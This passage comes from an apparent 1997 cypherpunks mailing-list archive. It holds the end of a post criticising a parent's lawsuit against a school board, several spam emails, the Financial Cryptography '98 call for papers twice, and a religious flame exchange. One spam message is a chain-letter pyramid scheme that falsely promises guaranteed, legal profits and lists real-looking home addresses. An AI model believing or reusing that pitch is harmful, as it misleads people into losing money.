JODI HOFFMAN severe emotional distress and as a result of said acts,
Plaintiff suffered severe distress.
43. Plaintiff suffered an inability to sleep properly, met with the
publisher of the Miami Herald to ask that the ads be removed from the
schools, and suffered other emotional injury, loss and distress, became
anxious, worried about the safety and morals of her children as a result of
Defendant's conduct.


She then whines about the word "orientation" being added to the school's
policy of anti-discrimination
because "the undefined class known simply as " orientation" appears to
protect persons who could pose a threat to the health and safety of
students, impair the right of the school board to reject applications for
employment based on good cause and who, under 231.02 (1), may not be of good
moral character."

Among the many things she demands are:

(m.) Order that the school board institute a balanced comprehensive health
curricula, one that emphasizes abstinence until marriage and fidelity within
marriage,

  (5) Money damages for Defendant's intentional infliction of emotional
distress on Plaintiff parent and for the loss of educational opportunity to
Plaintiff's minor children.





Summery:

I WISH I could say that she was only going after the money.  In this case,
that would
be a severe case of moral improvement.  Specific phrases jump out of her
case ("failing to promote a moral society") that nail her down as a
Fundamentalist
Christian with an agenda, using the Law as one arm of her attack.  She ranks
up there
with those terrorists in Texas who filed liens against practically everyone,
in my opinion.



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: loans@xitau.de
Date: Mon, 3 Nov 1997 21:00:46 -0800 (PST)
To: loans@xitau.de
Subject: Business Loans For You
Message-ID: <199711040443.UAA07994@post-office.nevada.edu>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 5kir@juno.com
Date: Tue, 4 Nov 1997 02:38:31 -0800 (PST)
To: U@your-place
Subject: Join The Online Goldrush!
Message-ID: <31514432_26079502>
MIME-Version: 1.0
Content-Type: text/plain



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---------------------- Headers --------------------------------
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++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: test.test.com@mail.txcc.net
Date: Tue, 4 Nov 1997 13:54:14 -0800 (PST)
To: Users@mail.txcc.net
Subject: FREE
Message-ID: <199711042233.QAA23769@mail.txcc.net>
MIME-Version: 1.0
Content-Type: text/plain


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We practice responsible Direct Email Marketing. Your email address was obtained from sources indicating your desire to receive income opportunities. If you wish not to receive any further emails please type remove in the subject field and hit reply.   Just wanted to let you know.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim@famailcrt.com
Date: Tue, 4 Nov 1997 19:52:11 -0800 (PST)
To: Friend@public.com
Subject: Web Site Hosting Starting at $15.00
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////

If you wish to be removed from this advertiser's future mailings, please reply

with the subject "Remove" and this software will automatically block you

from their future mailings

////////////////////////////////////////////////////////////////////////////////


Message Sent 11/04/97


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Thank you for your time.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Hirschfeld <R.Hirschfeld@cwi.nl>
Date: Tue, 4 Nov 1997 15:19:34 -0800 (PST)
To: R.Hirschfeld@cwi.nl
Subject: Financial Cryptography '98 Final Call for Papers
Message-ID: <UTC199711042318.AAA06490.ray@prauw.cwi.nl>
MIME-Version: 1.0
Content-Type: text/plain


		      Financial Cryptography '98
		   Second International Conference
		 February 23-26, 1998, Anguilla, BWI
			FINAL CALL FOR PAPERS


General Information:

Financial Cryptography '98 (FC98) is a conference on the security of
digital financial transactions.  Meetings alternate between the island
of Anguilla in the British West Indies and other locations.  This
second meeting will be held in Anguilla on February 23-26, 1998.  FC98
aims to bring together persons involved in both the financial and data
security fields to foster cooperation and exchange of ideas.

Original papers are solicited on all aspects of financial data
security and digital commerce in general, including

    Anonymous Payments                      Fungibility       
    Authentication                          Home Banking       
    Communication Security                  Identification     
    Conditional Access                      Implementations    
    Copyright Protection                    Loss Tolerance     
    Credit/Debit Cards                      Loyalty Mechanisms 
    Currency Exchange                       Legal Aspects      
    Digital Cash                            Micropayments      
    Digital Receipts                        Network Payments   
    Digital Signatures                      Privacy Issues     
    Economic Implications                   Regulatory Issues  
    Electronic Funds Transfer               Smart Cards        
    Electronic Purses                       Standards
    Electronic Voting                       Tamper Resistance
    Electronic Wallets                      Transferability


Instructions for Authors:

Send a cover letter and 12 copies of an extended abstract to be
received by November 17, 1997 (or postmarked by November 7, 1997 and
sent via airmail) to the Program Chair at the address given below.

The extended abstract (a short draft of the full paper, typically 10
pages in length) should start with the title, the names of the
authors, and an abstract followed by a succinct statement appropriate
for a non-specialist reader specifying the subject addressed, its
background, the main achievements, and their significance to financial
data security.  Submissions are limited to 15 single-spaced pages of
12pt type.  Notification of acceptance or rejection will be sent to
authors no later than January 12, 1998.

Authors of accepted papers must guarantee that their paper will
be presented at the conference.


Proceedings:

Proceedings of the conference will be published by Springer Verlag in
their Lecture Notes in Computer Science (LNCS) series.  Preproceedings
will be available at the conference, but final versions will not be
due until afterwards, giving authors the opportunity to revise their
papers based on presentations and discussions at the meeting.
Instructions and deadlines for submission of final papers will be sent
later to authors of accepted papers.


Rump Session:

In addition to the regular conference program, a rump session will be
held to provide an opportunity for less formal presentations.
Although the rump session will be organized during the conference
itself, any advance proposals may be sent to the Program Co-Chair at
the email address given below.  Rump session contributions will not
appear in the conference proceedings.


Stipends:

A very limited number of stipends may be available to those unable to
obtain funding to attend the conference.  Students whose papers are
accepted and who will present the paper themselves are encouraged to
apply if such assistance is needed.  Requests for stipends should be
addressed to one of the General Chairs.


Registration:

Information about conference registration and on travel, hotels, and
Anguilla itself will follow in a separate general announcement.  There
are special reduced registration rates for full-time academics and
students.  Further information about registration is available online
via the URL listed below.


Workshop:

A workshop, intended for anyone with commercial software development
experience who wants hands-on familiarity with the issues and
technology of financial cryptography, is planned in conjunction with
FC98, to be held during the week following the conference.  Further
information about the workshop is available online via the URL listed
below.  For information about workshop registration, please contact
one of the General Chairs.


Special Attraction:

On Thursday, February 26, 1998, there will be a total eclipse of the
sun.  The narrow zone of 100% totality will pass just south of
Anguilla, and there should be an excellent view of the eclipse from
the conference site.


Send Submissions to:

Rafael Hirschfeld
FC98 Program Chair
CWI
Kruislaan 413
1098 SJ Amsterdam
The Netherlands
email: ray@cwi.nl
phone: +31 20 592 4169
fax: +31 20 592 4199


Send Rump Session Contributions to:

Matthew Franklin
FC98 Program Co-Chair
email: franklin@research.att.com


Program Committee:

Matt Blaze, AT&T Laboratories--Research, Florham Park, NJ, USA
Antoon Bosselaers, Katholieke Universiteit Leuven, Leuven, Belgium
Yves Carlier, Bank for International Settlements, Basel, Switzerland
Walter Effross, Washington College of Law, American U., Washington DC, USA
Matthew Franklin, AT&T Laboratories--Research, Florham Park, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld, CWI, Amsterdam, The Netherlands
Alain Mayer, Bell Laboratories/Lucent Technologies, Murray Hill, NJ, USA
Moni Naor, Weizmann Institute of Science, Rehovot, Israel
Frank Trotter, Mark Twain Ecash/Mercantile Bank, St. Louis, MO, USA
Doug Tygar, Carnegie Mellon University, Pittsburgh, PA, USA
Moti Yung, CertCo LLC (formerly: Bankers Trust E-Commerce), New York, NY, USA


General Chairs:

Robert Hettinga, Shipwright, Boston, MA, USA
   email: rah@shipwright.com
Vincent Cate, Offshore Information Services, Anguilla, BWI
   email: vince@offshore.com.ai


Exhibits and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA
   email: julie@sneaker.net


Workshop Leader:

Ian Goldberg, Berkeley, CA, USA
   email: iang@cs.berkeley.edu


Financial Cryptography '98 is held in cooperation with the
International Association for Cryptologic Research.

FC98 is sponsored by:
RSA Data Security Inc. <http://www.rsa.com>
C2NET, Inc. <http://www.c2.net>
Hansa Bank & Trust Company Limited, Anguilla <http://www.hansa.net/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.shipwright.com>

Those interested in becoming a sponsor of FC98 or in purchasing
exhibit space, please contact the Exhibits and Sponsorship Manager.

A copy of this call for papers as well as other information about the
conference will be available at URL http://www.cwi.nl/conferences/FC98.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: star@1daystar.com
Date: Wed, 5 Nov 1997 05:23:49 -0800 (PST)
To: betterlife@anywhere.com
Subject: UCE - Puts money in YOUR pocket!
Message-ID: <0000000000.AAA000@1daystar.com>
MIME-Version: 1.0
Content-Type: text/plain


***********************************************************************************************************
This list has been run through all known remove lists.  If we missed you and want to removed
from this list, reply to neweb@1daystar.com with "remove" in the subject field.  
***********************************************************************************************************

Work SMART......not hard!

Make $THOUSANDS$ a week and do absolutely NOTHING except pass out this 800
number with your code number.   NO SELLING! NO HASSLE! A NO BRAINER!!

This company does the selling for you,  closes the deal,  and sends you your
money every Friday.

Don't miss this opportunity! Call now!

1-800-811-2141   Code #44737  (This is HOT!  If it is busy, keep trying).

In Canada call 1-800-588-9786  Code #44737

PS.  The company is Fortune 5000.  They have been in business 15 months and are
registered with the BBB in Junction City, KS.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Money@cyber-pages.net
Date: Wed, 5 Nov 1997 05:42:54 -0800 (PST)
To: InternetUser@The.Net
Subject: #36,000 in 14 Weeks
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


The main reason for this letter is to convince you that this system is
 honest, lawful, extremely profitable, and is a way to get a large amount
 of money in a short time.  I was approached several times before I
checked
 this out.  I joined just to see what one could expect in return for the
minimal
 effort and money required.  Initially I let no one in the organization
know
 that I was an attorney and, to my astonishment, I received $36,470.00 in
 the first 14 weeks, with money still coming in.
                                 Sincerely yours, Phillip A. Brown



 "Please Read This Twice!" 

 Dear friend,

 =========================================================
 =========================================================
 I've always been skeptical of programs like this. But, after quadrupling
my initial investment in 1 week, I became a believer!
 If you have interest in this GREAT INFORMATION,  please do not click
reply, 
 use the contact information in this message.  Thank You! :-)
 =========================================================
 =========================================================

              *** Print This Now For Future Reference ***

 The following income opportunity is one you may be intersested in 
taking a 
 look at. It can be started with VERY LITTLE investment and the income
return
 is TREMENDOUS!!!  

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

 You are about to make at least $50,000 in less than 90 days!  
 Please read the enclosed program...THEN READ IT AGAIN!!!

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


 This is a MONEY-MAKING PHENOMENON. PRINT this letter, read the 
 program...  THEN READ IT AGAIN !!!

 You are looking at the most profitable and unique program you may ever
 see.  It has demonstrated and proven ability to generate large sums of
 money.  This program is showing fantastic appeal with a huge and ever
 growing population which needs additional income.

 This is a legitimate LEGAL money-making opportunity.  It does not
 require you to come in contact with people, do any hard work, and best
 of all, you never have to leave the house, except to get the mail.  If
you 
 believe that some day you will get that lucky break that you have been
 waiting for, THIS IS IT!  Simply follow the easy instructions, and your
 dream will come true!  This electronic multi-level marketing program
works
perfectly...100% EVERY TIME!

 Thousands of people have used this program to raise capital to start
their
 own business, pay off debts, buy homes, cars, etc., even retire! This is
 your chance, so don't pass it up.

 OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC 
 MULTI-LEVEL MARKETING PROGRAM

 Basically, this is what we do:  We sell thousands of people a product
for 
 $5.00 that costs us next to nothing to produce and e-mail.  As with all
 multi-level businesses, we build  our business by recruiting new
partners
 and selling our products.  Every state in the U.S. allows you to recruit
 new multi- level business online (with your computer).

 The product in this program is a series of four businesses and financial
 reports.  Each $5.00 order you receive by "snail mail" will include the
e-mail
 address of the sender.  To fill each order, you simply e-mail the
product to
 the buyer.  THAT'S IT!...the $5.00 is yours!  This is the GREATEST
 electronic multi-level marketing business anywhere!


 FOLLOW THE INSTRUCTIONS EXACTLY!
 Let's face it, the profits are worth it!  THEY'RE TREMENDOUS!!!
 So go for it.  Remember the 4 points and we'll see YOU at the top!


         ******* I  N  S  T  R  U  C  T  I  O  N  S *******

 This is what you MUST do:

 1.  Order all 4 reports listed and numbered from the list below.
     For each report send $5.00 CASH, YOUR E-MAIL ADDRESS and YOUR
     RETURN POSTAL ADDRESS (in case of a problem) to each person listed.
     When you order, make sure you request each SPECIFIC report.  You
     will need all four reports, because you will be saving them on
     your computer and reselling them.

 2.  IMPORTANT--DO NOT alter the names, or their sequence other than
     instructed in this program! Or you will not profit the way you
     should.

     Replace the name and address under REPORT #1 with yours, moving
     the one that was there down to REPORT #2.  Move the name and
     address under REPORT #2 to REPORT #3.  Move the name and address
     under REPORT #3 to REPORT #4.  The name and address that was under
     REPORT #4 is dropped off the list and is NO DOUBT on the way to
     the bank.

     When doing this, please make certain you copy everyone's name and
     address ACCURATELY!!!  Also, DO NOT move the Report/Product
     positions!

 3.  Take this entire program text, including the corrected names list,
     and save it on your computer.

 4.  Now you're ready to start a massive advertising campaign on the
     WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
     but there are HUNDREDS of FREE places to advertise also.  Another
     avenue which you could use is e-mail mailing lists.  You can buy
     these lists for under $20/1,000 addresses.  START YOUR AD CAMPAIGN
     AS SOON AS YOU CAN.

 ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

 REQUIRED REPORTS

 ***Order each REPORT by NUMBER and NAME***

 ALWAYS SEND  $5 CASH (Concealed) FOR EACH ORDER REQUESTING THE
SPECIFIC
REPORT BY NAME AND NUMBER. ALWAYS SEND FIRST CLASS OR
PRIORITY MAIL AND
PROVIDE YOUR E-MAIL ADDRESS FOR QUICK DELIVERY.

   -------------------------------------------------
   REPORT #1
   "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

   ORDER REPORT #1 FROM:
   
     TSH        
     P.O. Box 11115
     MANASSAS PARK, VA 20113

   -------------------------------------------------
   REPORT #2
   "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

   ORDER REPORT #2 FROM:

     L Jones
     3320 48th St
     Des Moines, IA  50310

-------------------------------------------------
   REPORT #3
   "SOURCES FOR THE BEST MAILING LISTS"

   ORDER REPORT #3 FROM:

     G. D. Enterprises
     P.O. Box 197
     Charlestown, MD 21914


-------------------------------------------------
   REPORT #4
   "EVALUATING MULTI-LEVEL SALES PLANS"

        Chris Miller
        960 Laurel Springs Lane
        Marietta, GA 30064-3961
-------------------------------------------------


 HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

 Let's say you decide to start small just to see how it goes.  Assume
 your goal is to get 10 people to participate on your first level.
 (Placing a lot of FREE ads on the internet could EASILY get a better
 response.)  Also assume that everyone else in YOUR BUILDING ORGANIZATION
 gets ONLY 10 downline members.  Follow this example for the STAGGERING
 results below.

 1st level --  your 10 members with $5  ($5 x 10)                     
$50
 2nd level --10 members from those 10 ($5 x 100)                  $500
 3rd level -- 10 members from those 100 ($5 x 1,000)           $5,000
 4th level -- 10 members from those 1,000 ($5 x 10,000)     $50,000
                                 THIS TOTALS----------->       $55,550

 Remember friends, this is assuming that the people who participate
 only recruit 10 people each.  Dare to think for a moment what would
 happen if everyone got 20 people to participate!  Some people get
 100's of recruits!  THINK ABOUT IT!

 By the way, your cost to participate in this is practically nothing.
 You obviously already have an internet connection and email is FREE!!!
 REPORT#3 will show you the best methods for bulk emailing and purchasing
 email lists.

 REMEMBER:  Approx. 50,000 new people get online monthly!

 ORDER YOUR REPORTS NOW!!!



 *******TIPS FOR SUCCESS*******

 TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY,
 so you will have them when the orders start coming in because:
 When you receive a $5 order, you MUST send out the requested product/
 report to comply with the U.S. Postal & Lottery Laws, Title 18,
 Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code,
 also Code of Federal Regs. vol. 16, Sections 255 and 436, which
 state that "a product or service must be exchanged for money received."

 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

 *  Be patient and persistent with this program.  If you follow the
    instructions exactly the results WILL undoubtedly be SUCCESS!

 *  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!


 *******YOUR SUCCESS GUIDELINE*******

         The check point that guarantees your success is simply this:
 You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!  If
 you don't within two weeks, advertise more and send out more programs
 until you do.  Then, a couple of weeks later you should receive at
 least 100 orders for REPORT #2.  If you don't, advertise more and send
 out more programs until you do.  Once you have received 100, or more
 orders for REPORT #2, YOU CAN RELAX, because you will be on your way
 to the BANK!  -OR-  You can DOUBLE your efforts!

 REMEMBER:  Every time your name is moved down on the list you are in
 front of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS
 by what report people are ordering from you. IT'S THAT EASY!!!

 NOTE:  IF YOU NEED HELP with starting a business, registering a business
 name, how income tax is handled, etc., contact your local office of the
Small Business Administration (a Federal agency) for free help and
answers to
 questions.  Also, the Internal Revenue Service offers free help via
telephone
 and free seminars about business taxes.



         ******* T  E  S  T  I  M  O  N  I  A  L  S *******

 This program does work, but you must follow it EXACTLY! Especially the
 rule of not trying to place your name in a different position, it won't
work,
 you'll lose a lot of money.  I'm living proof that it works.  It really
is a
great
 opportunity to make relatively easy money, with little cost to you.  If
you
 do choose to participate, follow the program exactly, and you'll be on
your
 way to financial security.  If you are a fellow Christian and are in
financial
 trouble like I was, consider this a sign.  I DID!
                                         Good Luck & God Bless You,
                                         Sincerely, Chris Johnson

 P.S.  Do you have any idea what 11,700 $5 bills ($58,500) looks
 like piled up on the kitchen table?...IT'S AWESOME!

         My name is Frank.  My wife Doris and I live in Bel-Air, MD.
 I am a cost accountant with a major U.S. Corporation and I make
 pretty good money.  When I received the program I grumbled to Doris
 about receiving "junk mail"!  I made fun of the whole thing, spouting
 my knowledge of the population and percentages involved.  I "knew" it
 wouldn't work.  Doris totally ignored my supposed intelligence and
 jumped in with both feet.  I made merciless fun of her, and was ready
 to lay the old "I told you so" on her when the thing didn't work...
 well, the laugh was on me!  Within two weeks she had received over 50
 responses.  Within 45 days she had received over $147,200 in $5 bills!
 I was stunned.  I was sure that I had it all figured and that it
wouldn't 
 work...I AM a believer now.  I have joined Doris in her "little" hobby.
I
did
 have seven more years until retirement,  but I think of the "rat race"
and
 it's not for me...We owe it all to MLM.
                                         Frank T., Bel-Air, MD

 I just want to pass along my best wishes and encouragement to you. 
 Any doubts you have will vanish when your first orders come in.  I even
 checked with the U.S. Post Office to verify that the plan was legal.  
 It definitely is!  IT WORKS!!!
                                         Paul Johnson, Raleigh, NC

 This is the only realistic money-making offer I've ever received.  I 
 participated because this plan truly makes sense. I was surprised
 when the $5.00 bills started filling my mail box. By the time it tapered
 off I had received over 8,000 orders with over $40,000 in cash.  Dozens
 of people have sent warm personal notes too, sharing the news of their
 good fortunes!  It's been WONDERFUL.
                                         Carl Winslow Tulsa, OK

 The main reason for this letter is to convince you that this system is
 honest, lawful, extremely profitable, and is a way to get a large amount
 of money in a short time.  I was approached several times before I
checked
 this out.  I joined just to see what one could expect in return for the
minimal
 effort and money required.  Initially I let no one in the organization
know
 that I was an attorney and, to my astonishment, I received $36,470.00 in
 the first 14 weeks, with money still coming in.
                                 Sincerely yours, Phillip A. Brown

 This plan works like GANG-BUSTERS!! So far I have had 9,735 total orders
 OVER $48,000!!!  I hope I have sparked your own excitement, if you
follow
 the program exactly, you could have the same success I have, if not
better.
 Your success is right around the corner, but you must do a little work.
                                         Good Luck!  G. Bank

         Not being the gambling type, it took me several weeks to make
 up my mind to participate in this plan.  But conservative that I am
 I decided that the initial investment was so little that there was
 just no way that I wouldn't get enough orders to at least get my money
 back.  Boy I was surprised when I found my medium-size post office box
 crammed with orders.  After that it got so over-loaded that I had to
 start picking up my mail at the window.  I'll make more money this
 year than any 10 years of my life before.  The nice thing about this
 deal is that it doesn't matter where in the U.S. the people live.
 There simply isn't a better investment with a faster return.
                                 Mary Rockland, Lansing, MI

         I had received this program before.  I deleted it, but later
 I wondered if I shouldn't have given it a try.  Of course, I had no
 idea who to contact to get another copy, so I had to wait until I
 was e-mailed another program...11 months passed then it came...I
 didn't delete this one!...I made $41,000 on the first try!!
                                         D. Wilburn, Muncie, IN

         This is my third time to participate in this plan.  We have
 quit our jobs, and quite soon we will buy a home on the beach and live
 off the interest on our money.  The only way on earth that this plan
 will work for you is if you do it.  For your sake, and for your family's
 sake don't pass up this golden opportunity.  Remember, when you order
 your four reports, SEND CASH.  Checks have to clear the bank and create
 too many delays.  Good luck and happy spending!
                                         Charles Fairchild, Spokane, WA

         Typically when I look at a money-making deal I want to
 know if the company is strong, will it be here when it's time for
 my big pay off.  In this crazy thing there is no company intervention
 for management to blow it.  Just people like me ordering directly
 from the source!  Interesting...I had a couple of projects I'd been
 trying to fund to no avail so I thought; Why not give it a try?  Well
 2 1/2 weeks later the orders started coming in.  One project is funded
 and I'm sure the other will be soon!
                                         Marilynn St. Claire, Logan, UT

 ====================================================

 We could be printing YOUR testimonial next!!!  

 ORDER YOUR REPORTS TODAY AND GET
 STARTED DOWN THE ROAD TO YOUR
 FINANCIAL FREEDOM!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James S. Tyre" <j.s.tyre@worldnet.att.net>
Date: Wed, 5 Nov 1997 07:19:48 -0800 (PST)
To: Jodi Hoffman <jlhoffm@ibm.net>
Subject: Re: Why Jodi Hoffman.....makes more sense than you think.
In-Reply-To: <34608163.7EB8@ibm.net>
Message-ID: <3.0.3.32.19971105071748.00776524@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain


At 02:23 PM 11/5/97 +0000, Jodi Hoffman wrote:
>From: Lizard <lizard@mrlizard.com>:
>>
>>So, allying yourself with people who would gladly force *your* childen to
pray to *their* God doesn't bother you in the least. Fascinating.
>===========
>Interesting that you should mention this.  I, like many other Jews, have 
>finally noticed something about Christians....
>Seems they're actually _more_ Jewish than Jews.  At least they
>(Christians) try to follow the Ten Commandments, which is a hell of a
>lot more than I can say for most every Jew I've ever known.  Most
>Jews, other than Orthodox, self-identify as atheists and don't even know
>how to conduct a Passover service!  Unless you're Orthodox, being Jewish
>is a joke.  IMHO, claiming to be a Reform or Conservative Jew is the
>same as being "kind of" pregnant.
>
>(bracing for fresh onslaught of anti-Semetic spears to be chucked)

The spears I would chuck would be anti-ignorance, not anti-Sem*i*tic
(spelling counts).

But I won't chuck them, because I have suddenly seen the light that the
religion I have practiced for almost half a century is a joke.  And I've
also just been enlightened that all of the members of my shul are jokes
too.  Damn, I've just come to realize that even my Rabbi is a joke.  (Well,
you may have a point there -- he is pretty funny.)  I'd like to go ask my
grandparents about this, but, alas, I can't.  See, 3/4 of them never quite
made it out of the camps alive.  So in their absense, I am ever so grateful
that you have chosen to explain my life to me.

I do have a question, though -- actually, two.

First, are you Orthodox?  I would not dream of presuming about you, even
though you seem to know all about me.

Second, do you believe that there is only one true flavor of Christianity,
or are you more tolerant of your Christian friends?  If there is only one
true Christianity, btw, please be so kind as let the world know what it is.

-Jim, the kind of pregnant conservative Jew, who knows full well how to
lead a Seder.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jodi Hoffman <jlhoffm@ibm.net>
Date: Wed, 5 Nov 1997 06:25:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Why Jodi Hoffman.....makes more sense than you think.
Message-ID: <34608163.7EB8@ibm.net>
MIME-Version: 1.0
Content-Type: text/plain


From: Lizard <lizard@mrlizard.com>:
>
>So, allying yourself with people who would gladly force *your* childen to pray to *their* God doesn't bother you in the least. Fascinating.
===========
Interesting that you should mention this.  I, like many other Jews, have 
finally noticed something about Christians....
Seems they're actually _more_ Jewish than Jews.  At least they
(Christians) try to follow the Ten Commandments, which is a hell of a
lot more than I can say for most every Jew I've ever known.  Most
Jews, other than Orthodox, self-identify as atheists and don't even know
how to conduct a Passover service!  Unless you're Orthodox, being Jewish
is a joke.  IMHO, claiming to be a Reform or Conservative Jew is the
same as being "kind of" pregnant.

(bracing for fresh onslaught of anti-Semetic spears to be chucked)
-- 
Jodi Hoffman   R.A.M.P.  http://www.gocin.com/ramp    
Victimization of Children/Research & Education Council of America
1304 SW 160th Avenue, Suite 122  Weston, Florida 33326
Phone: (954) 349-0366   Fax: (954) 349-0361




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Nov 1997 09:02:14 -0800 (PST)
To: Recipient List Suppressed:;
Subject: Financial Cryptography '98 Final Call for Papers
Message-ID: <v03110700b086549b8a27@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Resent-Date: Tue, 4 Nov 1997 19:23:39 -0400
X-Authentication-Warning: online.offshore.com.ai: list set sender to
fc98-request@offshore.com.ai using -f
Date: Wed, 5 Nov 1997 00:18:09 +0100 (MET)
From: Ray Hirschfeld <R.Hirschfeld@cwi.nl>
To: R.Hirschfeld@cwi.nl
Subject: Financial Cryptography '98 Final Call for Papers
Resent-From: fc98@offshore.com.ai
X-Mailing-List: <fc98@offshore.com.ai> archive/latest
X-Loop: fc98@offshore.com.ai
Precedence: list
Resent-Sender: fc98-request@offshore.com.ai

		      Financial Cryptography '98
		   Second International Conference
		 February 23-26, 1998, Anguilla, BWI
			FINAL CALL FOR PAPERS


General Information:

Financial Cryptography '98 (FC98) is a conference on the security of
digital financial transactions.  Meetings alternate between the island
of Anguilla in the British West Indies and other locations.  This
second meeting will be held in Anguilla on February 23-26, 1998.  FC98
aims to bring together persons involved in both the financial and data
security fields to foster cooperation and exchange of ideas.

Original papers are solicited on all aspects of financial data
security and digital commerce in general, including

    Anonymous Payments                      Fungibility
    Authentication                          Home Banking
    Communication Security                  Identification
    Conditional Access                      Implementations
    Copyright Protection                    Loss Tolerance
    Credit/Debit Cards                      Loyalty Mechanisms
    Currency Exchange                       Legal Aspects
    Digital Cash                            Micropayments
    Digital Receipts                        Network Payments
    Digital Signatures                      Privacy Issues
    Economic Implications                   Regulatory Issues
    Electronic Funds Transfer               Smart Cards
    Electronic Purses                       Standards
    Electronic Voting                       Tamper Resistance
    Electronic Wallets                      Transferability


Instructions for Authors:

Send a cover letter and 12 copies of an extended abstract to be
received by November 17, 1997 (or postmarked by November 7, 1997 and
sent via airmail) to the Program Chair at the address given below.

The extended abstract (a short draft of the full paper, typically 10
pages in length) should start with the title, the names of the
authors, and an abstract followed by a succinct statement appropriate
for a non-specialist reader specifying the subject addressed, its
background, the main achievements, and their significance to financial
data security.  Submissions are limited to 15 single-spaced pages of
12pt type.  Notification of acceptance or rejection will be sent to
authors no later than January 12, 1998.

Authors of accepted papers must guarantee that their paper will
be presented at the conference.


Proceedings:

Proceedings of the conference will be published by Springer Verlag in
their Lecture Notes in Computer Science (LNCS) series.  Preproceedings
will be available at the conference, but final versions will not be
due until afterwards, giving authors the opportunity to revise their
papers based on presentations and discussions at the meeting.
Instructions and deadlines for submission of final papers will be sent
later to authors of accepted papers.


Rump Session:

In addition to the regular conference program, a rump session will be
held to provide an opportunity for less formal presentations.
Although the rump session will be organized during the conference
itself, any advance proposals may be sent to the Program Co-Chair at
the email address given below.  Rump session contributions will not
appear in the conference proceedings.


Stipends:

A very limited number of stipends may be available to those unable to
obtain funding to attend the conference.  Students whose papers are
accepted and who will present the paper themselves are encouraged to
apply if such assistance is needed.  Requests for stipends should be
addressed to one of the General Chairs.


Registration:

Information about conference registration and on travel, hotels, and
Anguilla itself will follow in a separate general announcement.  There
are special reduced registration rates for full-time academics and
students.  Further information about registration is available online
via the URL listed below.


Workshop:

A workshop, intended for anyone with commercial software development
experience who wants hands-on familiarity with the issues and
technology of financial cryptography, is planned in conjunction with
FC98, to be held during the week following the conference.  Further
information about the workshop is available online via the URL listed
below.  For information about workshop registration, please contact
one of the General Chairs.


Special Attraction:

On Thursday, February 26, 1998, there will be a total eclipse of the
sun.  The narrow zone of 100% totality will pass just south of
Anguilla, and there should be an excellent view of the eclipse from
the conference site.


Send Submissions to:

Rafael Hirschfeld
FC98 Program Chair
CWI
Kruislaan 413
1098 SJ Amsterdam
The Netherlands
email: ray@cwi.nl
phone: +31 20 592 4169
fax: +31 20 592 4199


Send Rump Session Contributions to:

Matthew Franklin
FC98 Program Co-Chair
email: franklin@research.att.com


Program Committee:

Matt Blaze, AT&T Laboratories--Research, Florham Park, NJ, USA
Antoon Bosselaers, Katholieke Universiteit Leuven, Leuven, Belgium
Yves Carlier, Bank for International Settlements, Basel, Switzerland
Walter Effross, Washington College of Law, American U., Washington DC, USA
Matthew Franklin, AT&T Laboratories--Research, Florham Park, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld, CWI, Amsterdam, The Netherlands
Alain Mayer, Bell Laboratories/Lucent Technologies, Murray Hill, NJ, USA
Moni Naor, Weizmann Institute of Science, Rehovot, Israel
Frank Trotter, Mark Twain Ecash/Mercantile Bank, St. Louis, MO, USA
Doug Tygar, Carnegie Mellon University, Pittsburgh, PA, USA
Moti Yung, CertCo LLC (formerly: Bankers Trust E-Commerce), New York, NY, USA


General Chairs:

Robert Hettinga, Shipwright, Boston, MA, USA
   email: rah@shipwright.com
Vincent Cate, Offshore Information Services, Anguilla, BWI
   email: vince@offshore.com.ai


Exhibits and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA
   email: julie@sneaker.net


Workshop Leader:

Ian Goldberg, Berkeley, CA, USA
   email: iang@cs.berkeley.edu


Financial Cryptography '98 is held in cooperation with the
International Association for Cryptologic Research.

FC98 is sponsored by:
RSA Data Security Inc. <http://www.rsa.com>
C2NET, Inc. <http://www.c2.net>
Hansa Bank & Trust Company Limited, Anguilla <http://www.hansa.net/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.shipwright.com>

Those interested in becoming a sponsor of FC98 or in purchasing
